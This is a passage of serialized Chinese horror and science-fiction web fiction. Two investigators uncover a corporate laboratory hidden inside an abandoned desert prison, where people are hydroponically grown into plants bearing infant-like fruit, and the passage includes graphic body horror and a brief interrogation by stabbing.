而桌子之上的照明灯确实是梅丢下的。
她透过狭小的栏窗看到了黑压压的暗夜。
沙漠中的夜晚没有任何光源,她提起照明灯,准备再次寻找,却在按到把手的一瞬间,浑身的鸡皮疙瘩欻一下冒出来。
门外有东西在盯着自己!
“是感染物吗?”涂尔节节后退,瞬身躲到衣柜之中,绝不能让感染物发现自己!
它们会把一切活物拉进感染区!
涂尔的靠着坚硬的衣柜,她从柜门缝隙中看向狱长室内,整间屋子已经完全被绿色的光点所吞噬。
涂尔的心脏陡然跳起来,她僵硬地扭过肩膀,似乎有什么东西慢慢爬上来了!
——这么小的衣柜怎么可能会有别人存在!
照明灯已经失效,整间屋子陷入完全黑暗,涂尔的侧脸突然碰到了一个冰冷之物!
是一双小小的手!
湿湿的,黏腻的,轻柔的……
那双小手扼到了涂尔脖子上,柔软的指节,正在强硬缩紧。
一句童声陡然传来:“找到了!
抓鬼游戏!
开始!”
18.蚀锈监狱抓鬼(二)
“感染区已经开始扩散。”奚渚站在蚀锈监狱五百米外的沙土堆上,她脑子里的波动能够清楚感知到监狱内的苔粒子正在激增。
“这监狱是干什么用的?”奚渚问道。
吉蒂琼并没有反问奚渚是如何得出感染扩散的结论的。
7组的每个人都拥有自己的特殊能力,既然已经成为同伴,那么就没必要疑神疑鬼。
吉蒂琼拿起望远镜眺望蚀锈监狱,“葵金不在周围,应该是已经进去了。这座监狱很早以前就被废弃,以前关押过死刑犯,那些死刑犯大多数穷凶极恶,什么恶心事儿都干过了,于是就都被扭送到这荒无人烟的监狱来了。”
奚渚点头表示了解,她手里正握着吉蒂琼专门给她带的清扫狙,上面特别佩戴了激光瞄准镜。
“这武器肯定是伊文捷琳安排的,是有什么特殊含义吗?让自己当个安安静静的狙击手?”奚渚心中暗道。
吉蒂琼跳下沙堆,她把灌进鞋里的沙子统统倒了出来,“走吧,同伴。”
奚渚提着狙,向监狱门口前进。
这是自己找到的千载难逢的机会,拿感染物来测试和加强自己感知本能的机会。
监狱的外墙爬满了苔藓,奚渚视线右移,看到了被扔在绿色菜地里的形似大脑的探测仪,“这地方为什么会有菜地?”
吉蒂琼也看到了这一块突兀的菜地,其中菜苗已经长得和自己小腿一般高,“真是奇怪,谁在这地方种菜?也得亏能从沙漠里长出来。”
二人绕过菜苗,虽然很奇怪,但现在还有别的任务要干,她们暂且没理会菜地。
二人的目标很明确,进入监狱直接找到感染物,进行绞杀。
吉蒂琼背上的双刀突然开始铮鸣,她反手抽出,削断了面前挡路的铁栅栏门。
奚渚觉得这两把刀似乎膨胀变大了不少,吉蒂琼现在握着这两把大刀,看起来十分不协调。
她在猜测对方的能力具体是什么?大概率与这两把刀有很大的关系。
吉蒂琼已经率先进了监狱,奚渚紧随其后。
一进门,二人同频率地眨了眨眼,室内暗到了极致。
并非普通的黑暗,监狱内部的暗,明显透露出一股不详的气息,而在更深的暗处,似乎有奇怪的尖锐声音在召唤二人前进。
“我最讨厌装神弄鬼。”吉蒂琼直接踏入黑暗,从怀中抛出一堆机械虫。
机械虫自二人周围散开,无数光亮立刻点满室内,它们飞速向内探查,一瞬间就消失了个一干二净。
奚渚琢磨着这些机械虫,白央并没有使用过,难道这东西也是上区的新技术?
“这东西是葵金研究出来的,机械虫所经过之处可以被完全扫描,同时将数据全部传回,形成立体的全息影像,方便咱们进行区域鉴定。葵金可是上区的实验天才。”吉蒂琼口气自豪,似乎在为自己有这样的一个天才同伴而感到幸运。
“上区的实验天才?”奚渚问道,“你的意思是上区和下区有别?”
吉蒂琼点点头,“当然有差别,等任务结束后,你见到伊文捷琳,她自然会让你了解一切。”
奚渚开始好奇了,如果说上区存在制造这种高科技东西的条件,那么就越证明贫穷衰败的下区不对劲。
机械虫渐渐飞回,吉蒂琼打开全息影响,二人周围立刻出现整幢监狱的影像,包括任何犄角旮旯。
奚渚观察者其中一角,“等等。”
“怎么了?”吉蒂琼立刻让那个区域的机械虫停下。
“那里边有东西。”奚渚指着暗影处,似乎是什么柔软的东西在地上放着。
机械虫继续探查,却无法扫描出那是个什么东西,奚渚看着那处,“我们去那儿。”
吉蒂琼收回影像,跟着已经飞回来的机械虫前往那处。
“根据扫描来看,整幢监狱有三层,那些角落出现的地方在二层,我们先去那里,之后再进行全方位探查。”奚渚走在前面,手中的狙十分碍事儿,所以她直接斜背到了肩膀上。
脑中的波动已经变得十分平缓,在自己的感应下,奚渚觉得整幢监狱都隐隐透着不对劲,但再不对劲的地方也需要有一个突破口,而那个堆放东西的角落就是最好的选择。
吉蒂琼跟在奚渚身后,突然开口,“伊文捷琳长官传来了资料,这里有三个执勤军的派遣队员,似乎是在任务中就突然消失了。”
奚渚道,“派遣人员?她们在这里埋那些感应仪吗?”
“没错,大概是正式队员不想来这地方,所以就丢给派遣组了。”吉蒂琼解释着。
“执勤军那边没说什么吗?”奚渚问道,那头也肯定知道了失踪的消息。
“说什么来什么,执勤军把错全推到了派遣队员身上,说什么‘派遣队的三个人一定是卷上仪器偷跑了,没准儿要去黑市上换钱。’”吉蒂琼绘声绘色地表演。
“这锅可扣的太快了。”奚渚笑了一下,反正好事轮不到派遣队,坏事嘛,自然一扣一个准儿。
“没错,就算这一批派遣队员全死了,也对执勤军产生不了任何影响。只要HPP公司发布招聘启事,下区的人立刻就会报名,毕竟工作难求,再累再苦都会有人干。”吉蒂琼随口闲聊。
“HPP?又是这个公司,学校里报纸上落款的是HPP重工,但一百年过后,重工却变成了公司。”奚渚心道,“没准儿自己当初面试的职位也是派遣队,反正任务中死了也没人管,这种中介公司更不会负责,死了一个补上一百个,无穷无尽。”
奚渚没再细想,现在要做的是找到这几个队员,以及解决感染物。
这些问题,等自己回去再进行详细调查。
反正伊文捷琳说了,自己拥有调查权。
二人走到二楼的角落,奚渚率先进入,只看见地上积了一层厚厚的泥巴,而且泥质粘稠,所以刚才机械虫才扫描不出这是些什么东西。
奚渚一个个翻开,原来是三个睡袋,还有两把生锈的铁锹,以及一张散落在地上的地图。
“这三人是最近来的吗?”奚渚问道。
吉蒂琼摊开地图,“没错,一周前来工作的。而且其中一个队员,昨晚还跟7组的联系人通了话,但昨晚过后直到现在,一直处于完全失联的状态。”
“你不觉得这些泥巴很像监狱门外菜地里的泥巴吗?”奚渚道。
“嘶,我还没注意到那些泥巴。”吉蒂琼回忆着,她立刻让一只机械虫飞到菜地上空,开始仔细扫描那些诡异的菜苗,“似乎又长高了,这些菜苗。”
奚渚望过去,“看起来快要成熟了,十分不对劲。”
吉蒂琼指着全息投影,“似乎都是西红柿,看来种这些的人独爱西红柿这个品种啊,唉!奚渚,你去哪儿?”
奚渚走出监牢,直接推开了斜对面一扇紧闭的屋子,她抹了抹门牌上的泥巴,“狱长室”三字显现出来,“你见过狱长室和关囚犯的监牢在同一层的吗?”
吉蒂琼挠挠头,她不太擅长深-入思考,所以此刻有奚渚在,她觉得事情的线索的的确确分明不少,“确实是,看来这地方有鬼。”
“这地方大概不是监狱,监狱只是一个幌子,毕竟狱长和囚犯在同一层的这种低级错误肯定不是一个监狱建造时会犯的。”奚渚走到书架旁,架子上摆着一瓶浑浊的瓶子,无法看清里面泡的是什么东西。
“所以我们此次调查,不仅是要绞杀感染物,还要搞明白这地方发生了什么。”吉蒂琼边说边拿起一个瓶子,她召唤来一个机械虫,开始对着瓶子进行扫描。
“有结果了吗?”奚渚走到一个奇怪的衣柜前。
她还记得自己小时候,母亲
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经常不在家,自己就会躲到冷冰冰的铁衣柜里,钻到最深处而被无数衣服所覆盖掩埋,当时的自己觉得没有比那处更安全的地方了。
吉蒂琼摇摇头,“还需要一点时间,里面的水已经胶化了,胶化的东西一般至少都有几十年的历史,这种古早的物品怎么会出现在这里?”
“没准儿是故意留下的。”奚渚慢慢伸手,开始拽柜门。
——拽不开。
奚渚拽了四五下,柜门都毫无打开的意思。
她看向那个混沌的瓶子,突然瞅到了一行微小的字体,“过期产物。”
吉蒂琼凑过来,在她移动的步伐间,她突然感受到了后背一阵阴风。
二人肩膀上,不约而同地缓慢爬上了某个东西。
黏腻,冰冷,似乎在水里泡久了一样的湿滑触感,黑色泥巴在淅淅沥沥地拉丝。
吉蒂琼有点儿犯恶心,她想朝后看,却发现自己竟然无法转身,未知东西爬到了自己的脖子处,一双小手凭空出现。
小手握到了二人咽喉之上,“找到了!抓鬼游戏!开始!”
话音未化,吉蒂琼就看见整间屋子被四面八方涌进来的泥土所淹没,自己像插秧一样下半身陷到了地里,全身无法动弹,不论如何挣-扎,都无法转头。
嘭!
吉蒂琼听见一声枪响。
下一秒,吉蒂琼猛地摔倒在地,她看向身前的奚渚,对方手里正抓着两个不人不鬼的东西。
“杀了它。”吉蒂琼站起身,她好奇奚渚为什么不动手。
奚渚拽着这两个东西的脖子,她不太理解这地方为什么会出现这种东西。
她不断思考,脖子上擦伤的伤口正在恢复,看来是异能发挥了作用。可是奚渚无暇顾及,她将手中的东西摆到桌面上,机械虫立刻飞过来照亮了整间狱长室。
台面上,被奚渚掐着的是两个脑袋变形的女婴。
她们的整个身体只剩一半,而且已经被感染,全身上下充满苔化后的绿瘢。
而最让人感到诡异的是,这些女婴头上有一个短小的黑揪,似乎是根茎一样的东西,大概率是从什么东西上被摘下来的。
“吞噬失败,抓鬼游戏,失败。”
“失败。”
“失败。”
空荡荡的狱长室只能听见女婴的单一音调,在无数次口述失败后,它们的脑袋开始扭曲鼓胀。
奚渚立刻将吉蒂琼拽了出去,紧闭大门!
二人靠在门上,听见室内嘭一声爆炸,就像是任务失败后的自毁模式一样。
“你觉得她们像那些西红柿吗?”吉蒂琼缓缓开口。
奚渚立刻推门,重新走到柜门口,她直接架起狙,轰开了衣柜。
在一阵硝烟过后,奚渚看到在衣柜底部摆放着一瓶液体瓶。
她拿了起来,看到了里面黏腻的水质,“有派遣队的照片吗?”
吉蒂琼立刻调出资料,一张笑的灿烂的证件照出现在二人面前,下方署名派遣队员——涂尔,工龄——3年。
奚渚握着瓶身,向吉蒂琼问道,“琼,听过水培植物吗?”
吉蒂琼点点头,葵金为了培养什么东西时,就会在实验室中做水培实验,目的是为了得到完全干净且不含任何杂质的实验品。
奚渚举起瓶子,“涂尔被水培成了西红柿幼苗的种子。”
吉蒂琼接过瓶子,在手掌大小的瓶身内,她看到了涂尔。
对方的脑袋灌在水里,被当成了养分种子,四肢尽断,已经长出了属于植物的毛须,正蔓延到整个瓶身。过不了多久,她就会完全变为西红柿的根,被栽到监狱外侧的菜地里。
“拿人类做水培实验,获得养分种子,栽到菜地里。”奚渚提起狙,朝着监狱门外走去,“吉蒂琼,这里不是监狱,是人类实验室。”
19.蚀锈监狱抓鬼(三)
吉蒂琼跟在奚渚身后,二人朝着监狱外侧的菜地走去。
“有这座监狱的具体信息吗?”奚渚问道,她想要的具体信息是指这地方发生过什么又因什么被遗弃。
吉蒂琼摇摇头,“这座监狱被废弃的原因在文件里写的是死刑犯暴-乱,但真实原因却是感染物,同时此地紧邻沦陷的了的16区,所以在文书上做了一定的美化,具体的原因现在已经无从知晓。”
“伊文捷琳不可能平白无故让自己来这里解决感染物,这地方一定藏着什么秘密。”奚渚心中暗道。
吉蒂琼停下步子,唤住奚渚,“资料上有写一行,蚀锈监狱在早年间就被HPP公司全面收购,但用途不详,废弃后HPP公司也表示将此地完全荒废,不再进行任何人类活动。”
“又是这个公司?”奚渚道。
吉蒂琼道:“HPP公司和三军有很长的合作历史了,不仅包办所有派遣人员,而且三军大部分热武器和通路车辆都是它们出资提供建设的,对方是个非常有钱有权且神秘的企业,号称只喜欢做慈善,但从没有人知道它的总部在哪儿,只有几个下区存在它的分部。”
“它的前身叫HPP重工?”奚渚问道。
吉蒂琼点头,“没错,HPP重工现在仍然存在,只不过一样神出鬼没,没人知道它在哪儿。”
吉蒂琼看到奚渚一脸疑惑的表情,自然而然地开始发挥自己前辈的作用,继续解释道:“至于更机密的东西,我们也没有权限知道。虽然7组拥有裁决权,但比起茵梵圣地来,我们所掌控的只不过是九牛一毛。说起圣地,这地方也神秘极了,是他们居住的地方,谁都没有权利上去,除非受到特别昭示。他们从不露面,所以将每个区都分别设置区长官进行管理,并且每三年一轮换,似乎今年就会轮换。”
奚渚没在意别的,她特别注意到了吉蒂琼口中所说的“他们从不露面”这句话。
结合白央上次将自己带入感染门内的情况来看,自己的性命似乎是由“他们”所决定,而所有联区也都完全听从“他们”的指示。
奚渚越来越好奇,“他们”到底是什么人。
难不成是从地面下来的贵族之类的?害怕露面就被人射杀,所以才从不现身。
一旁的吉蒂琼继续说:“总而言之,联区之间非常复杂,三军之间更是如此,长时间狗咬狗罢了。如果没有三位长官的协调,三军根本不可能互相配合。”
“执勤军的长官是白儒,猎人的长官是伊文捷琳。那清扫者的长官是谁?”奚渚推开监狱门问道。
“菲蕾,只不过她最近不在,因为清扫者要忙活收获日,到时候所有区长官都会来17区来见证。”吉蒂琼解释道。
“收获日。”奚渚心中想着,“看来这就是自己之后的主要任务。”
一切都和HPP公司脱不了干系,自己之后必须再去日塔街一趟。
奚渚停下脚步,面前就是菜地,而非常明显的,菜苗已经非常茂盛,已经长到了二人的腰部-位置。
机械虫钻进去开始扫描,吉蒂琼铺开影像,从外部的扫描来看,菜苗除了过于茁壮外看起来没有任何异常。
而随着机械虫的扫描结束,奚渚注意到菜苗根茎部-位似乎有些奇怪。
先不说若有若无的苔粒子,更明显的是,这些茎杆部分正在分泌什么液体,看起来像血。
奚渚立刻动手,刨开了面前的一株菜苗,随着她不断深挖,脑内的感知波动也越来越紧密。
奚渚余光确定了一眼,这地方的菜苗大概有四五十株。
手中的匕首突然碰到了什么硬物,奚渚怼了怼,却发现匕首被卡住了。
“有异常?”吉蒂琼问道,紧接着她召唤过一只机械虫,示意奚渚后退。
随着二人的后退,机械虫一猛子冲进了奚渚挖好的坑里。
一声爆炸,直接将二人面前的十几株菜苗炸了个粉碎,奚渚看向那处不小的爆炸坑,“它作用这么广泛?”
吉蒂琼十分自豪:“侦查,扫描,当炸弹。”
奚渚点点头,提起一根菜苗来,湿润且带着黑泥巴的根-部,是一张爬满蛆的干瘪人脸。
“看来这位队员的死亡时间早于涂尔,毕竟她已经被埋进去了。”吉蒂琼将派遣小队的照片重新调出来。
“这位叫梅。”奚渚确定道,“那么派遣队还只剩一个人活着。”
二人视线平移,看向整个菜地,奚渚举起狙,“感染物不现身,我们就逼它出来,这片菜苗大概就是它的成果,只不过这地下究竟躺着多少人命,只有全轰开才能知道。”
奚渚将狙上膛,率先对准了最远处那几颗濒临成熟的菜苗,它们结出的西红柿在瞬间就长大到了婴儿般的大小,下一步,大概就会被采摘下来。
“这也太丧心病狂,竟然拿活人培育这种东西,这个感染物到底要干什么?”吉蒂琼站在一侧,她并不反对奚渚直接轰平菜地的行为。
毕竟7组的宗旨就是以任务完成为最终目标,其余的一切都可以被舍弃。
吉蒂琼后退几步,以便奚渚全力轰炸。
但是,奚渚却不动了。
“怎么了?有什么不对劲?”吉蒂琼已经认识到了奚渚的分析能力,在这种状况下对方既然有了迟疑,那么就说明事情有了不对劲之处。
“你说,这些菜苗结出来的果实会不会才是感染物。”奚渚道。
吉蒂琼很认真地思考一番,“有这个可能,毕竟感染物什么样子的都有,仅凭外表根本无法判断。”
奚渚放下狙,继续提起一根菜苗来,整株菜苗正在极速枯萎,“琼,你能在外面看着这些菜苗吗?”
“可以,只不过你要怎么找到感染物?”吉蒂琼看到奚渚走到了监狱内。
“那间狱长室很不对劲,能借我几只机械虫吗?”奚渚说。
随着吉蒂琼一挥手,几只机械虫就跟到了奚渚身后,奚渚拿起武器道:“外面就交给你了。”
***
二楼狱长室。
奚渚站到柜门前,她举起狙,对着柜门内-侧开始持续轰炸。
一阵呛人的烟雾过后,奚渚身边的机械虫直接冲着烟雾深处飞了进去。
果然,这地方有内门。
奚渚踢开脚下拦路的碎木头,脑子里的波动很平缓,这里大概没有感染物,但这地方一定和那些菜苗有密切关系。
内门之中,一片明亮,和外面的监狱相比,简直是两个世界。
外部的监狱只是幌子,实际上是有人在里面实验什么东西。
烟雾散尽,机械虫的扫描影像也出现在了奚渚面前。
整间内室十分宽敞,在最中-央摆放着一台五米之高的水培仪器,正在咕嘟咕嘟冒着绿色液体。机器旁边,摆放着十几个和涂尔一样的水培空瓶,看起来是刚灌进去不久。实验器材仍在活动,但这地方却没有人。
奚渚继续往里走,整个实验室右侧的十几米的墙壁上,似乎轻飘飘地挂着什么东西。
随着视线不断推进,墙上的东西渐渐明晰。
是人。
几十个穿着白大褂的人类被不知什么东西吸干,便用吊钩倒挂在了墙上。
尸体就像干瘪的塑料布,前后碰撞哗啦啦地左右轻响。
她们的脑袋像糜烂的西红柿一样被掏开,似乎有人从里面拿走了大脑。
“做实验的人被杀?”奚渚疑惑,“这些实验者的大脑都被拿到哪儿去了?”
血迹风干的实验服上,有一个不太明显的字迹。
奚渚仔细辨别,上面写着一个——“鬼”字。
抓鬼游戏?抓的就是实验者?
不远处是实验记录台,奚渚走过去,翻阅着已经被销毁的差不多文件,落款依旧是HPP。
从没来得及完全销毁的零星记录来看,最早的实验日期显示为6801年,其中将部分果实送往......
再之后,便无论如何都看不清。
6801年,那不是颜如忆学校事发的那一年吗?
这座监狱,从百年前就开始干这种事了吗。
将活人水培为菜苗根茎,以此催生出女婴果实,然后呢?
奚渚做出一个假设,“将这些果实送往联盟各地。”
伊文捷琳知道吗?上区知道吗?还是这些人都默认了这些东西在眼皮子底下存在?
“呦!你好!”
突然,在水培仪中冒出来一个人来。
奚渚立刻举枪,“出来。”<
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“别紧张,我是葵金,吉蒂琼跟你说过了吧。”葵金反身跳出,她穿着一身白色实验服,对方除了脑袋之外整个身体都被置换成了金属,她敲了敲自己的脑袋,“你就是新成员吧,没想到第一次见面是在这里,真是不太严谨的初印象。”
“你泡在水培仪里干什么?”奚渚松了枪,不解问道,自己刚才确实没有注意到里面还泡着一个人。
“我只是想知道这液体的作用是什么?为什么能将人类转变为菜苗的根?但是我躺进去这么久都没有任何变化呢。”
奚渚无法判断葵金的异能是什么,对方看起来跟吉蒂琼属于完全不同的个性。
这个人更加癫。
随着葵金的移动,奚渚注意到对方的右眼也被换成了金属,看来人体改造对于她们来说十分常见。
对方走到角落,拖出一个东西,甩到了奚渚面前。
“这是?”奚渚问道:“监狱狱长?”
葵金点点头,“昨天晚上我进来的时候,他似乎被吓了一-大跳,但是这家伙好像是个瞎子,后来直接就晕过去了。”
葵金似乎对感染物和感染区并没有多大兴趣,她唯一感兴趣的就是这些女婴果实是如何被创造出来的。
因此,审讯狱长的任务自然而然地交给了奚渚。
葵金又继续捣鼓水培仪去了。
狱长被砸的不轻,整个鼻梁都断了,口水鼻涕鲜血糊了满脸,奚渚看了葵金一眼,对方立刻移开视线。
“这肯定是对方砸的。”奚渚心道。
奚渚没有和对方掰扯的心思,能在这种披皮监狱干谋害人类的狱长又能是什么好人,她直接拽起狱长一只手,拿匕首直接刺穿对方的整个右手手掌。
狱长一声惨叫,“怎么又是一上来就严刑逼供!”
恐吓有了,对话就会有一个好开头。
“你是HPP公司的?”奚渚首先问道。
狱长一听到HPP三字,硬生生把手心的疼痛忍了下去。
“这些女婴,也就是你们称之为产品的东西被送去哪儿了?”奚渚说。
狱长继续沉默,他知道自己就算死了,也不能透露一句。
“你们残害了多少人类?”奚渚看向远处像鬼魂一样的飘荡的实验者。
狱长紧闭双眼,闭口不谈。
“你在这里的目的是什么?监视什么人吗?”奚渚道,因为一个根本没人来的监狱不可能专门设置一个狱长在这里,既然对方在,那么就说明这里或许还别的人存在。
奚渚在询问间突然看到狱长开始轻微抽搐,对方的嘴缝儿处出现了一些白沫。
奚渚立刻敲开他的牙,狱长竟然在牙里□□了。
毒效发挥的十分快,仅仅五秒,狱长就断了气。
葵金又从水培仪中站起身,“什么都感受不出来,这水到底是什么?哎?狱长死了!这人真是没用!”
线索中断,接下来应该怎么办?
奚渚视线环绕周围。突然,吉蒂琼的声音从通讯仪中传来,“奚渚,这些菜苗已经长到了三层楼高,下一步,大概会直接将整个监狱包裹住。”
奚渚走到外室,狭小窗户外已经完全被植物笼盖,“你先不要进来,这里我会解决。”
吉蒂琼的声音变得断断续续,这是感染区的特征,屏蔽外界一切信号,“我...知道...一切注意...”
奚渚将通讯仪装回去,再次走到室内,却发现葵金不见了,“真是来无影去无踪。”
不过,自己一个人单独行动更方便。
而且,如果要利用感染物来锻炼自己的感知技能,最好还是不要有任何人在场。
“那么,该从哪里开始呢?”奚渚将手伸到了口袋里,之前那具感染物的分身早已苏醒,随着奚渚的唤醒,对方立刻清醒了过来,凭借着变小的身躯,这家伙竟然突变出两双小翅膀,飞到了空中。
“找到感染物,带我过去。”奚渚对它下命令。
话音未落,奚渚立刻开始调动脑内的波动,她将自己的波长与面前的感染物呈现重叠趋势。
只见空中的感染物愣了一下,立刻朝三楼飞去。
奚渚跟在对方身后,转身上楼,“原来这能力可以操纵感染物。”
20.蚀锈监狱抓鬼(四)
监狱三楼。
周围的墙壁混沌一片,看起来像是被感染物具现出的。
三楼楼梯尽头,是一面被堵死的墙体。
奚渚推了推坚硬的墙面,手掌像是被吸进去一样立刻深陷。
她抽出手来,指挥身边那只感染物飞进去,对方来去自如。
墙体之后,大概就是感染物所存在的地方。
奚渚看着面前这面不断涌动的墙体,她拿起枪,瞄准了墙面正中-央,在无法判断墙面之后到底是个什么情况之前,最保险的办法就是物理轰炸。
轰!
子弹破枪而出,在接触墙面的一瞬间就被统统被吸了进去,伴随着奚渚持续开火,面前的墙体被强硬炸开一个黑色的无法愈合的大洞,她指挥感染物先行前进,自己接着迈入洞内。
流动的墙体在奚渚进入的瞬间就变形复原,再次形成一面会呼吸的墙体。
奚渚没再管这面墙,转身朝向三楼内部走去。
之前在学校感染区内的嘴巴分身飞在奚渚身前,目前看来十分听她的话,奚渚虽不知道确切的理由,但也能大概能猜到是为什么。
同时结合之前在学校感染区内突然出现的B级,以及B级说的那句没头没尾的“欢迎回来”,奚渚认为自己缺陷感染一定不同寻常。
她合理怀疑伊文捷琳知道某些内情。
分身正在前面探路,但这么一直乱叫也不是个办法,奚渚看了对方一眼,随意起了一个“嘴巴”的名字。
“嘴巴”听到后,立刻飞凑到奚渚跟前,围着她绕了几圈,看样子是对名字十分喜欢。
三楼的格局与二楼完全相同,同样的纵向监牢构造,唯一与二楼的不同的,大概就是浓度激增的苔粒子。
奚渚找到熟悉的狱长室,嘴巴也紧紧跟随飞了过来。
奚渚突然想试试它的能力,她对着嘴巴比了一个吞掉的手势。
轰!
半空中,赤色的怪物突然出现,整个三楼被粒子充斥,嘴巴在空中极速膨胀,啪一声就砸到了门上,随着它整个身体在不断吸食蠕动后,整个三楼的墙壁迅速被消融瓦解。
吃饱喝足的嘴巴噗一声,变回了原本麻雀一般的大小。
它炫耀似得飞到奚渚面前,打了个饱嗝。
奚渚进入狱长室,一样的衣柜格局。
嘴巴身旁带着几只发光的机械虫,机械虫扫描的影像在奚渚面前次第铺开,简单的构造,看不出任何异常。
既然二楼狱长室的衣柜内有夹层,那么三楼的也肯定有。
奚渚站到柜门口,黑洞洞一片。
机械虫立刻点亮柜子内部,明明什么都没有,奚渚却感受到里面似乎有什么东西正在注视自己。
她视线下移,在柜子最底部,歪歪扭扭坐着一个眼歪嘴斜的双头女婴。
女婴黑孔占比异常大,占了整只眼睛的三分之二,两只头,四双瞳孔,唰一下看过来,目不转睛地盯着奚渚。
两只头被诡异粘黏在一起,随着一个头动,另一个头就会僵硬扭动,卡巴卡巴响,就像鬼片中莫名出现的诡异洋娃娃。
双头女婴的整个身体被白色绷带完全覆盖,脖子和四肢打着硕大的钢钉,四肢肿泡且不正常的肥大,怎么看都像是被人硬生生接上去的。对方没有任何喘气呼气的声响,在奚渚看来,就好像一个恐怖玩具成了精。
奚渚不信任何鬼神,即使越来越多离奇的事情不断发生在自己身上,她也依旧觉得面前的女婴是故意有人在装神弄鬼。
怪笑声渐起,空荡荡的三楼,奚渚立刻转身,拿枪挡下了身后突然袭击过来的巨蔓。
腾空的瞬间,嘴巴在空中格挡了一下,奚渚顺势借力,站到远处,盯着女婴轻微颤动的两双嘴巴。
两跟藤蔓从地底破土而出,嘴巴瞬时张开巨大的屏障,直接将藤蔓吞了下区。
再一回头,双头女婴不见了。
机械虫把奚渚的狙捡回来,递到奚渚手中。
奚渚拿起枪,对着柜门进行武力爆破。
轰!
苔粒子瞬间激增,脑内波动开始极速起伏,拉到了极高的阈值。
“看来在这里面躲着。”奚渚迈入内屋。
***
“是谁?”一个女人的声音犹豫响起,伴随着叮铃哐啷的铁链声,她突然看到了半空中漂浮的机械虫。
“是实验室的人吗?”她的声音非常颤-抖,哐啷一声,她似乎又被铁链拽了回去。
“你是谁?这地方已经好几年没人来了!”女人看着黑暗中突然出现的一抹身影,她本能地后退。
奚渚召回机械虫,红光立刻铺满整间屋子,她看向被锁在角落的女人,对方穿着一身残破的实验服,胸口处的破旧名牌写着——韦玉。
奚渚视线向后,韦玉立刻挡住身后的作业线。
韦玉心中疑惑,“为什么来的是个陌生人,重工实验室里的成员呢?不是答应回来接自己回去吗?”
“你说的实验室是指HPP公司旗下的实验室吗?”奚渚越过韦玉的脑袋,很轻松地就看到了那条作业线上摆着什么东西。
几十个被打上各类标签的果实婴儿。
——残次品,销毁。
——根不全,销毁。
——眼睛不像父株,销毁。
——双手不对称,销毁。
——耳朵不齐,销毁。
——嘴角不笑,销毁。
——不吉利,销毁。
“啊,那些啊,都是男婴罢了,这些男婴果实没用的,我们要的是女婴。”韦玉狐疑道:“你如果真是实验室的人,能不能给我把锁链解开,我不想再被那头感染物困在这里了。”
奚渚没说话,远处的水培仪仍在工作,机械臂正在有条不紊地挥动着。
果实脑袋上的根还没有被完全剪断,作业线上的机器正在检查果实的雌雄,雄的贴上标签扔到一边,雌的则一个个摆好,同时水培机械臂正同时将十几个瓶子进行消毒,以便待会儿直接装货密封。
其中一个机械臂太过用力,直接将贴便签的果实压成了肉饼,它不灵活的手指,正在抠弄溅在流水线缝隙中的果肉。
这样密封好的瓶子,和奚渚方才在二楼时看到的涂尔的水培瓶完全一样。
韦玉的波动感知起来与人类相似,但是仍然无法确定对方没有危险。
而且,既然都被锁在具现化出的三楼中,说明这人一定有问题。
“谁把你锁在这儿的?”奚渚说。
韦玉拽得铁链哐哐作响,对方一直被锁在旮旯处,所以奚渚刚才一直没有看清。
随着韦玉一直抽-动铁链,对方的下半身展露无疑。
双腿消失,而被绿蔓所代替,摩-擦前进间,绿蔓撞倒了周围的实验桌子,哗啦啦的,韦玉整个人摔倒了一团杂物之中。
韦玉立刻爬起来,拼命扯着身上的实验服往下半身盖去,一边盖一边偷瞄奚渚,“我还是人类!快把我救出去吧!我还能实验!还能工作!不要抛弃我!”
双腿藤蔓上,已经发了肉芽,汗毛立起般颤-栗着,每个肉芽都像是一个秧苗,以韦玉的身体作为培养壤,不断的发根发芽。
机械臂伸长胳膊,突然冲着韦玉而去,韦玉紧紧抱头,下一秒,她的整个双腿被掰断。
肉芽被机械臂全数回收,等待之后栽种到真正的土壤
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中。
“我还可以工作!我还可以工作!”韦玉抓着自己的脑袋,语无伦次呼喊,“我可以把一切都奉献给工作!包括自己的身体!”
她的双腿又开始生根,只不过,这次长出来的,并非先前巨大的藤蔓,而是两截短短的细小绿蔓。
“我得抓人!把一切能吃的东西都吃掉!用自己的身体培育出更多的秧苗,种出更多的果实!我不能停,停了就会被所有人抛弃,停了我就会丢了工作!有那么多人看好这份体面的工作,贫穷的下区,声名远播的大公司,平平无奇的我,获得了这份独一无二的工作!父母高兴!家人高兴!邻居高兴!上司高兴!唯独自己不高兴!不高兴又怎样,日复一日,年复一年,看着果实成熟再从头开始,继续创造只为培育的最好,胡思乱想不能行,犹豫不前不能行,能行的只有自己这具身体,而它,必须行。”
韦玉话音未落,已经朝着奚渚奔去,一尾藤蔓甩过来。
轰!
嘴巴撑开身体,瞬间挡下,它跟在奚渚身后,紧紧盯着韦玉,只要奚渚一声令下,嘴巴就会再次吞掉一切。
韦玉猛地站起来,朝水培瓶的方向走去,一边走一边喃喃自语,“我要工作…我要工作…”
随后她掏出一个笔记本,像是完全忘了奚渚的存在,开始唰唰唰地写着什么。
嘴巴抢过来,殷勤地含到了奚渚面前。
奚渚接过,开始翻看这本掉皮的破旧本子。
整个本子早已被水渍阴湿,断断续续地记录着一些文字,她翻到了勉强能看清字体的一页,上面贴着一张照片,简单标注着一个叉号,写了一句介绍——失败。
奚渚觉得这个女孩有点儿面熟,她仔细回想着,突然想到了自己上窟那一晚几次三番碰到的女孩。
照片上女孩的眼睛与对方十分相似。
奚渚继续翻页,她同时看到了学校中那个感染物女孩的照片,只不过这张照片已经十分老旧,满是霉斑,照片之下依旧标注叉号,进而补充了一句——失败。
奚渚觉得十分诡异,这个笔记本上记录的到底是感染者还是感染物?
难道,被联盟所特别区分的两种东西,其实是可以相互转化并且...并且可以是人为干预的?
奚渚开始不断后翻笔记本。
“自己呢?自己的身份是什么?”
可是翻遍了笔记,也没有看到自己的照片或者任何信息。
奚渚暗自松了一口气,“刚才的猜测缺少关键依据,如果想要确定这些东西是人为造成的,自己必须找到证据才行。”
奚渚合上笔记本,机械虫跟随她的指令飞到韦玉身边,立刻照亮了对方的动作。
韦玉正在将水培瓶一个个破开,将里面的人脸肉芽揪出来,挨个儿摆在手边。她拿起手术刀,捅到了肉芽脑袋顶上,她划开一个圆形创口,拿出注射器,扎到了女婴脑袋里,立刻,一股股莫名的汁液被吸到了注射器中,而肉芽正在极速枯萎,她们的毛须四肢开始异化,脑袋顶端的芽根开始变形扭曲,肉芽的小脑袋们一个个睁开眼,盯着奚渚这个外来物,开始异口同声地尖笑,笑声不断扩大,连成一片密不透风的网。
奚渚扶了一下墙,自己脑子里的波动突然开始畸变。
嬉笑的声音像一条蛇一样死死缠住了她,奚渚头痛欲裂,捂住自己的耳朵。
